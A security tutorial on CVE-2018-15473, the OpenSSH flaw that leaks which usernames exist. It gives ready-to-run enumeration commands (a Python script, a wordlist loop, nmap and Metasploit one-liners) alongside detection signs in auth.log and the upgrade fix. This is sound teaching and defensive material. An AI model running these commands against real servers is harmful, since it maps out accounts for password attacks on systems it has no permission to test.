SSH user enumeration (CVE-2018-15473)

CVE-2018-15473 is an information leak in OpenSSH before 7.7 that lets you tell valid users from invalid ones without authenticating. The flaw is in how the server processes a malformed authentication packet: if the user does not exist, OpenSSH rejects it early; if it exists, it continues the flow and reaches signature verification, which takes a bit longer or responds differently. That difference (in timing or response) reveals the account.

The typical public script sends an SSH2_MSG_USERAUTH_REQUEST with a deliberately corrupt public-key packet and watches the reaction:

python2 ssh_user_enum.py <ip> root       # [+] root is a valid username
python2 ssh_user_enum.py <ip> noexists   # [-] noexists is an invalid username

To walk a wordlist, wrap it in a loop (parallelising, since each check is slow) and filter by the success response:

while read -r u; do
  python2 ssh_user_enum.py <ip> "$u" 2>/dev/null | grep -q valid && echo "[+] $u"
done < /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Alternatives with nmap and Metasploit, and a banner check:

nc <ip> 22                              # read the banner (OpenSSH <7.7 = vulnerable)
nmap -p22 --script ssh-auth-methods --script-args ssh.user=root <ip>
msfconsole -q -x "use scanner/ssh/ssh_enumusers; set RHOSTS <ip>; set USER_FILE users.txt; run; exit"

Why it matters. Like SMTP enumeration or web user enumeration, confirming real accounts narrows a later brute force or password spray, and gives names to test for credential reuse. It is pure enumeration: it says which accounts exist, it does not grant access on its own.

How to detect it. The sweep generates in /var/log/auth.log a flood of connections that open public-key authentication and abandon it without completing, often with lines like Connection closed by <ip> [preauth] from a single IP and for many distinct users in a short window. There are no successful logins, only preauth attempts: that is the pattern. A fail2ban rule on repeated [preauth], or a counter of failed SSH connections per source, catches it. On the network, a spike of port-22 sessions that never authenticate betrays ssh_user_enum. The key, as in all enumeration, is the volume per source.

Defence. Upgrade OpenSSH to 7.7 or later (where the flow was made uniform). The immediate hint of the flaw is the version in the banner (OpenSSH 3.8, 4.6, etc.), so keeping the service current is the direct mitigation.